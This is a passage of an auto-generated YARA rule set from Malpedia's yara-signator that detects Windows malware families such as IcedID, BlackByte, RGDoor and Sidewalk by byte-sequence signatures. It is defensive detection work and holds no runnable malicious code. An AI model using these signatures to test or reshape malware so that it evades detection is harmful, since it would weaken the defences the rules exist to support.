		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b17 8d0c8500000000 51 6a00 52 e8???????? 8b06 }
		$sequence_1 = { c745fcffffffff 899edc000000 899ee0000000 39bdd0d5ffff 720f 8b8dbcd5ffff 51 }
		$sequence_2 = { 8d8db4feffff 53 51 c785b4feffff00000000 e8???????? 8bd8 }
		$sequence_3 = { 751b 8b45f8 3bc3 7409 50 e8???????? 83c404 }
		$sequence_4 = { 8b9510ffffff 85f6 744d 8b8ddcfeffff bb10000000 395914 7202 }
		$sequence_5 = { 8b5304 6a18 8944ca04 e8???????? 8bf0 85f6 0f8837ffffff }
		$sequence_6 = { e8???????? 8b5004 8b45e4 8b4cd004 51 e8???????? }
		$sequence_7 = { 8986b8010000 8986bc010000 899eb0010000 c786b401000060ea0000 8bc6 8b4df4 }
		$sequence_8 = { 48 3bc7 7224 b857000780 e8???????? 8bc7 e8???????? }
		$sequence_9 = { 83c404 898394000000 85c0 0f847d000000 8b8d10efffff 51 }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Blind_Edr_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "763f7b33-d005-5632-bc6e-32cbbb43afd8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blind_edr"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blind_edr_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "af78d8eedd7874fd051e4e2d0675f6cbdce3ecade2c26f196e0f08521ce6dfb2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bcf e8???????? 488bc5 e9???????? 498b6e18 488bcf e8???????? }
		$sequence_1 = { 483b442468 75d7 85db 7e58 }
		$sequence_2 = { 498b84ffe0fc0100 90 493bc6 0f84ae000000 4885c0 0f85a7000000 4d3bc1 }
		$sequence_3 = { 488d8c24b0000000 41b808000000 488bd3 e8???????? 4883c308 4883ef01 0f8560ffffff }
		$sequence_4 = { 488d542450 4533c9 41b802000000 488d4b02 e8???????? 6639742450 747a }
		$sequence_5 = { 488d4b10 4533c9 41b808000000 488d542448 }
		$sequence_6 = { 745e 4883c108 4c89b424a8000000 4533c9 488d9424a8000000 }
		$sequence_7 = { 4883ec20 488bda 4c8d0d20fd0000 8bf9 488d1517fd0000 }
		$sequence_8 = { e8???????? 4533c9 4c89742460 41b808000000 }
		$sequence_9 = { 4c8d0503fd0000 e8???????? 488bd3 8bcf 4885c0 7408 ff15???????? }
	condition:
		7 of them and filesize < 299008
}

rule MALPEDIA_Win_Komprogo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b83eddfd-6609-5160-bb17-24d52dab0572"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.komprogo_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "5f20beca4c5ecafddf1c339febd8122f816667a260edfabf9768a16c874c78f2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 68???????? 8d45f4 50 c745f400614100 e8???????? cc }
		$sequence_1 = { c745ec00000000 84c0 7407 be01000000 eb15 51 e8???????? }
		$sequence_2 = { 899ef6e80000 899eeca10000 8d8610700300 8986aee90000 8d861c970300 898632ea0000 }
		$sequence_3 = { 8d55f0 52 8b11 8d45f4 50 52 }
		$sequence_4 = { 899e876b0000 51 8b4dfc 899e9a6b0000 8d8696d20300 }
		$sequence_5 = { 8d85e4f3ffff 50 8d8decfdffff 51 c78584f3ffff44000000 ff15???????? 8bf0 }
		$sequence_6 = { 51 8d86a0d00300 8bcb e8???????? 83c404 84c0 }
		$sequence_7 = { 8d8650e60300 8d961ef30100 898623bc0200 899634320200 8d8636a50200 898675af0200 }
		$sequence_8 = { 8d8ee0920000 898e1caa0300 8d8e80720300 8d96305d0300 51 8b4df4 8d8600cf0300 }
		$sequence_9 = { 89966c940300 8d9698ec0300 89964da90200 898e88aa0200 8986cbaa0200 8d860cea0300 8986f7aa0200 }
	condition:
		7 of them and filesize < 1045504
}

rule MALPEDIA_Win_Common_Magic_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "af63221a-d89f-5b5e-b536-f2130b5cebfc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.common_magic"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.common_magic_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "20951a1a53280d6d98a10f242cdfcf681eb6a68d19880713aace683e29423308"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 59 5d c20400 e8???????? 85c0 0f84c02e0000 }
		$sequence_1 = { 885c012e 8b049570804100 804c012d04 46 }
		$sequence_2 = { 8d8de8fdffff c685a4fdffff00 51 ffb5a4fdffff 8d8dacfdffff }
		$sequence_3 = { 68???????? 51 50 51 ffb580feffff 8d8d5cffffff e8???????? }
		$sequence_4 = { 83c404 c645fc03 8b8d70ffffff 83f908 }
		$sequence_5 = { 0f1f4000 0f1f840000000000 a1???????? c7855cffffff00000000 }
		$sequence_6 = { ff7610 50 8d45c8 50 ffd7 }
		$sequence_7 = { 75e8 8b7dd4 8b55c4 8d4dd4 8b45e8 8bf2 }
		$sequence_8 = { 85c0 0f84c02e0000 c3 833d????????ff 7503 33c0 c3 }
		$sequence_9 = { 90 668b0431 663b01 750a 83c102 83ea01 75ef }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Newbounce_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3e3986fe-0558-5f1b-99f3-eb9b18b9db79"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newbounce"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newbounce_auto.yar#L1-L149"
		license_url = "N/A"
		logic_hash = "53993fab1fffe3be30682fcde23603c8013a2f2c28d0b685101dbd874fd28f1f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83e00f 7e05 2bf0 83c610 }
		$sequence_1 = { 7c11 8a03 4b8b8cf8a0b40600 48ffc3 }
		$sequence_2 = { 7c2f 803b39 7f2a 488d4c2420 }
		$sequence_3 = { 7c07 488d4c2438 eb0a 4889442430 488d4c2430 488b09 483b8e78020000 }
		$sequence_4 = { 7c0c 488d15bad00200 e9???????? 488d1566d00200 }
		$sequence_5 = { 7c8d 4863c8 498bd6 85c0 }
		$sequence_6 = { 7c4b 4c8bc6 e8???????? 48017748 }
		$sequence_7 = { 7c07 488d4c2460 eb0a 4889442468 }
		$sequence_8 = { 81ec68010000 a1???????? 33c4 89842464010000 56 57 8bf1 }
		$sequence_9 = { 81ec20020000 a1???????? 33c4 89842418020000 56 }
		$sequence_10 = { 81ec50030000 a1???????? 33c5 8945ec 53 }
		$sequence_11 = { 81ec28010000 a1???????? 33c5 8945fc 8b4610 }
		$sequence_12 = { 81ec64060000 a1???????? 33c4 89842460060000 53 }
		$sequence_13 = { 81ec8c010000 56 a1???????? 33c5 }
		$sequence_14 = { 81ec58030000 a1???????? 33c4 89842450030000 }
	condition:
		7 of them and filesize < 8637440
}

rule MALPEDIA_Win_Harnig_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9abf1275-be08-57a2-b590-38e4b33996cd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.harnig_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "87f18fe78ccecf6b99a233ae62c504e49ba2ae60d8433aec1b3aa385be172cee"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ebba be0cfb1473 56 6a03 e8???????? ff7508 }
		$sequence_1 = { be0cfb1473 56 6a03 e8???????? ff7508 ffd0 56 }
		$sequence_2 = { e8???????? 6a04 8d4df8 51 6a06 ff750c ffd0 }
		$sequence_3 = { 6a06 56 68???????? e8???????? 56 8d85b8fdffff }
		$sequence_4 = { ffd0 bb30ef0298 53 6a01 e8???????? 57 }
		$sequence_5 = { 33ff 8945d0 68d34ee485 8d85b8fdffff 6a04 c745c03c000000 897dc8 }
		$sequence_6 = { ffd7 6a06 56 68???????? e8???????? }
		$sequence_7 = { e8???????? 56 8d85e0fdffff 50 ffd3 e8???????? }
		$sequence_8 = { f3ab e8???????? 8d4df0 51 8d4dac 51 }
		$sequence_9 = { 68d34ee485 8d85b8fdffff 6a04 c745c03c000000 897dc8 c745cc6c104000 }
	condition:
		7 of them and filesize < 49152
}

rule MALPEDIA_Win_Sidewalk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "39c1c961-da91-5a25-8ecb-047f3c9eb164"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sidewalk_auto.yar#L1-L149"
		license_url = "N/A"
		logic_hash = "8deb72ecccbb130aa5e8724fff6a194c33523f3296434270b03ff0933ff78416"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41c1c610 4503e6 4403cb 4533d1 4403ee 41c1c210 418bc3 }
		$sequence_1 = { c1c010 4403d8 4133db c1c30c }
		$sequence_2 = { ff15???????? 4885c0 750e 488bcf ff15???????? }
		$sequence_3 = { 33f0 418bc1 4133c6 c1c608 c1c010 4403de 4403e8 }
		$sequence_4 = { 4433f2 c1c710 4403df 41c1c610 4503e6 4403cb }
		$sequence_5 = { c1e810 880a c1e918 884202 884a03 4183f810 }
		$sequence_6 = { 48ffc1 488d040a 483bc6 7ce2 }
		$sequence_7 = { 4133db c1c30c 03d3 8bf2 }
		$sequence_8 = { 4133db 418bcd c1c307 4133c8 }
		$sequence_9 = { 418b09 418bc0 c1e002 4d8d4904 4863d0 }
		$sequence_10 = { 8a040f 3201 41880408 48ffc1 488d040a }
		$sequence_11 = { c1e108 0bc8 0fb642fe c1e108 0bc8 41890c10 488d5204 }
		$sequence_12 = { 488b05???????? 83780c00 7405 e8???????? 488b0d???????? }
		$sequence_13 = { 89750b 4489750f 44897d03 448965ff }
	condition:
		7 of them and filesize < 237568
}

rule MALPEDIA_Win_Rgdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2eb99ad7-9e75-5845-969c-c304a1478e04"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rgdoor_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "fb170bfaa8b6f4f88bfae97b02b3770495bd4a9f8715b2816fb97989dc207528"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8d0dbe380200 4c8b442448 488b542438 488b4c2440 83bc24c800000000 7413 }
		$sequence_1 = { 488d0d53170100 e8???????? 85c0 754a 488d0d774a0000 e8???????? 488d152f170100 }
		$sequence_2 = { ff15???????? 488d15e3580100 483305???????? 488bcb 488905???????? ff15???????? 488d15e5580100 }
		$sequence_3 = { 4c8d25d8310200 83e01f 4c6bf858 498b04fc 420fbe4c3808 83e101 7449 }
		$sequence_4 = { 488d4c2420 41b801000000 4889442458 e8???????? 488d05e6840100 488d154f530200 488d4c2420 }
		$sequence_5 = { e8???????? 4c8bf8 4889842488000000 4885c0 }
		$sequence_6 = { 4863ca 0fb7444b0c 6641898448c0410300 ffc2 ebe2 8bd7 }
		$sequence_7 = { e8???????? 488bf0 488b8de0000000 48635104 }
		$sequence_8 = { e9???????? 488d8a98000000 e9???????? 488d8ae0010000 e9???????? 488d8a60000000 e9???????? }
		$sequence_9 = { 4c8d3d6c3c0100 4c8d6738 4c8d05e13d0100 488bd3 498bce e8???????? }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Evilbunny_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "09358091-8a71-53e9-955e-7e0615a7395b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.evilbunny"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.evilbunny_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "129d7389b0c5c744f879d0c6646586dd6514e45e4141df82d478776226b51b53"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb37 6a00 8b4df4 2b4d0c 51 8b55fc 8b4218 }
		$sequence_1 = { 2b45e4 1b55e8 8945a0 8955a4 eb0e c745a000000000 c745a400000000 }
		$sequence_2 = { 8b55f8 8b4218 8b550c 891401 8b450c 0fb64805 83e103 }
		$sequence_3 = { 8b5518 c1e20e 0bc2 50 8b4508 50 e8???????? }
		$sequence_4 = { 8d8c3a4b661aa8 894df8 8b95ccfeffff c1ea02 8b85ccfeffff c1e01e 0bd0 }
		$sequence_5 = { 55 8bec 51 8b4508 8b4824 034d0c 894dfc }
		$sequence_6 = { e8???????? 8b55f8 c782060c000001000000 33c0 52 8bcd 50 }
		$sequence_7 = { e8???????? 8b858cfeffff 52 8bcd 50 8d1540f91000 e8???????? }
		$sequence_8 = { e8???????? 83c408 8b4dfc 51 8b95e4fdffff 52 8d85e8fdffff }
		$sequence_9 = { 8b5508 8b4238 89413c 8b4d08 8a5510 885136 b801000000 }
	condition:
		7 of them and filesize < 1695744
}

rule MALPEDIA_Win_Nexster_Bot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a43d5074-419f-56bf-9041-ecb4085c5c0f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nexster_bot_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "030c2bb9e4dedc4e668df50b31810c5f051c7ed3a34092c75978caae787f72df"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a4701 47 84c0 75f8 8b0d???????? 8d84240c010000 }
		$sequence_1 = { 6a00 8908 668b0d???????? 6a00 895004 68000000c0 }
		$sequence_2 = { 42 3acb 75f6 8dbd00080000 8db5000c0000 e8???????? }
		$sequence_3 = { e8???????? 8b54241c 68???????? 8bf0 52 8d44241c 50 }
		$sequence_4 = { 33c0 8da42400000000 8a1485d0604100 889405000e0000 40 83f80b }
		$sequence_5 = { 8d842480000000 50 ff15???????? 8b3d???????? }
		$sequence_6 = { 8d0cbd20804100 8901 8305????????20 8b11 81c200080000 }
		$sequence_7 = { 85c0 0f8581000000 80bc24ae01000001 7533 8b0d???????? 8b15???????? }
		$sequence_8 = { 84c0 75f6 8d85c0140000 48 }
		$sequence_9 = { 75f9 8b1424 6a00 2bc1 8d4c242c }
	condition:
		7 of them and filesize < 245760
}

rule MALPEDIA_Win_Icedid_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7cb01d8c-6ddc-5faf-a2d7-b352678038d8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icedid_auto.yar#L1-L300"
		license_url = "N/A"
		logic_hash = "80a642e8024f176494bc232a2f8ca8c27a08e0dff1dc2e9038b4b5cccdea7c2e"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 7511 56 57 ff15???????? }
		$sequence_1 = { 7411 40 50 6a08 ff15???????? }
		$sequence_2 = { 50 ff15???????? 8bf7 8bc6 }
		$sequence_3 = { 7413 ff36 6a08 ff15???????? }
		$sequence_4 = { 85f6 742c 803e00 7427 6a3b 56 ff15???????? }
		$sequence_5 = { 85ff 7418 c60700 47 57 ff15???????? }
		$sequence_6 = { 68???????? 6a00 ff15???????? 33c0 40 }
		$sequence_7 = { 6a3b 56 ff15???????? 8bf8 85ff 7418 }
		$sequence_8 = { e8???????? 8bf0 8d45fc 50 ff75fc 6a05 }
		$sequence_9 = { 5f 743f 8d5808 0fb713 }
		$sequence_10 = { 03c2 eb5c 8d5004 89542414 8b12 85d2 7454 }
		$sequence_11 = { 0132 47 83c302 3bfd 72c4 8b542414 }
		$sequence_12 = { 85d2 7454 8d6af8 d1ed }
		$sequence_13 = { 8d5808 0fb713 8954241c 66c16c241c0c }
		$sequence_14 = { 8d4508 50 0fb6440b34 50 ff740b28 }
		$sequence_15 = { 2345fc 8be5 5d c3 55 8bec ff7518 }
		$sequence_16 = { ff15???????? 85c0 750a b8010000c0 e9???????? }
		$sequence_17 = { 8a4173 a808 75f5 a804 }
		$sequence_18 = { ff5010 85c0 7407 33c0 e9???????? }
		$sequence_19 = { 89442408 0fb70424 8b4c2408 03c8 }
		$sequence_20 = { 48 8b523c e8???????? 48 89433c 48 85c0 }
		$sequence_21 = { 48 8945b8 48 85c0 0f84db000000 8b4324 48 }
		$sequence_22 = { 4c 8b15???????? 48 8d442450 44 }
		$sequence_23 = { 49 8943d8 ff15???????? 85c0 }
		$sequence_24 = { 4c8bc3 33d2 488bc8 ff15???????? 488bb590020000 }
		$sequence_25 = { 3b7b1c 72d7 8b430c 4803c6 0f845affffff 488bcd }
		$sequence_26 = { 488d5702 488bce ff15???????? ba22000000 488bce ff15???????? 4885c0 }
		$sequence_27 = { 4289448440 488b5c2428 4c3b5c2430 7307 4c8b742420 }
		$sequence_28 = { 488bd8 4885c0 0f84cb000000 488bb590020000 41ba01000000 }
		$sequence_29 = { 488bb590020000 488b7c2438 33c9 33d2 }
		$sequence_30 = { 80bb8000000040 0f8577ffffff 488d8b81000000 488d542450 e8???????? 85c0 }
		$sequence_31 = { 75b9 4883c314 e9???????? ff15???????? 33c0 }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Mozart_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e6ef70f1-9d8c-5900-bac0-94145c939b8a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mozart_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "3d072f882d8d032cd0ba33880719776c6c63b0d1fb641e5640a7afb53ae04bf9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33f6 c644241800 eb26 8d4c2418 51 }
		$sequence_1 = { 8b542468 41 3bca 736e 8bd0 }
		$sequence_2 = { 7c19 3c39 7f15 bd01000000 eb08 3c30 7c36 }
		$sequence_3 = { 7471 c1e006 0bc7 a900000001 7425 }
		$sequence_4 = { 0f84a0010000 48 0f84e6000000 48 0f85fd010000 85ed 7544 }
		$sequence_5 = { 0fbe0a 8a89c8924000 0fb6f9 8bcf 42 83e940 }
		$sequence_6 = { 8a08 40 84c9 75f9 8b8c2420100000 }
		$sequence_7 = { 90 8a82e0ba4000 3a841420010000 751f b8???????? }
		$sequence_8 = { 83fe10 7409 33f6 c644241800 eb39 80fb3d 740e }
		$sequence_9 = { 3bd0 72e2 5e 32c0 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Krdownloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8928305b-67d0-5595-b543-162ed3d8a500"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.krdownloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.krdownloader_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "b190fd97a74e2ef74cfd54dab7101c2dd88a9538032e0c3b3bee219ca7927a46"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb26 8b4dfc 034df4 0fb6512c 52 68???????? 8b45f0 }
		$sequence_1 = { 83ec34 894df8 c745fc00000000 8b450c }
		$sequence_2 = { c745ec00000000 c745f400000000 c745d810000000 c745e000000000 c745d000000000 c745f800000000 c745e800000000 }
		$sequence_3 = { 83c40c 8b45f8 50 ff15???????? eb26 }
		$sequence_4 = { c745fc00000000 6a00 6822020000 ff15???????? }
		$sequence_5 = { 6a00 6840004004 8d45f4 50 68???????? 68???????? }
		$sequence_6 = { 83c40c c745f400000000 8d85f4f7ffff 50 8b4dfc 81c1640d0300 }
		$sequence_7 = { ffd1 8b55fc 83ba540d030000 7415 8b45fc 8b88540d0300 51 }
		$sequence_8 = { c740040f000000 8b4dfc 51 8b55f8 52 8d85e4ebffff }
		$sequence_9 = { 50 8d85f0fbffff 50 8b4df8 51 e8???????? }
	condition:
		7 of them and filesize < 352256
}

rule MALPEDIA_Win_Blackbyte_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3f4218e0-59a8-5f1a-8491-b9f27553e507"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackbyte_auto.yar#L1-L156"
		license_url = "N/A"
		logic_hash = "0158273c319395ac538b84dc759203c353b02e7e79481c3f34491558ae9bcead"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 498d7101 0f1f440000 4839c6 7ce0 4889c6 41b806000000 }
		$sequence_1 = { 3bc1 7505 e8???????? 4883c304 }
		$sequence_2 = { 3bc2 72f4 b8ffffffff 4883c420 }
		$sequence_3 = { 3bc7 7ce0 eb03 488bda }
		$sequence_4 = { 3bc1 7f4d 33c9 4c63c8 }
		$sequence_5 = { 4983f851 7553 4c8d4002 4c39c1 }
		$sequence_6 = { 4989c3 4889cf 488b4c2428 48897c2450 4c895c2468 4b8d0413 90 }
		$sequence_7 = { 4983f803 0f8f66010000 90 4983f801 0f8fb6000000 }
		$sequence_8 = { 3bc2 7f2f 4c63d8 85c0 }
		$sequence_9 = { 0f1005???????? 4c8960e0 4533e4 4c8968d8 }
		$sequence_10 = { 4983f805 0f8511020000 4c8d4304 4c39c6 }
		$sequence_11 = { 493b6610 0f8626010000 4883ec70 48896c2468 488d6c2468 }
		$sequence_12 = { 3bc1 7573 488d4c2448 664585c0 }
		$sequence_13 = { 3bc1 7558 498bcb 6685d2 }
		$sequence_14 = { 4989c3 488b8424b0000000 e8???????? 488b4c2468 }
		$sequence_15 = { 493b6610 767b 4883ec38 48896c2430 488d6c2430 4889442440 49c7c500000000 }
	condition:
		7 of them and filesize < 9435136
}

rule MALPEDIA_Win_Atmii_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4bbbbf02-dbb5-50f9-89bd-68bafb7f61b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmii"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmii_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "de7adb20577b33d8a8506758d2e0ffbda74b46bc9a6446d600c84a3c6b3b34c4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
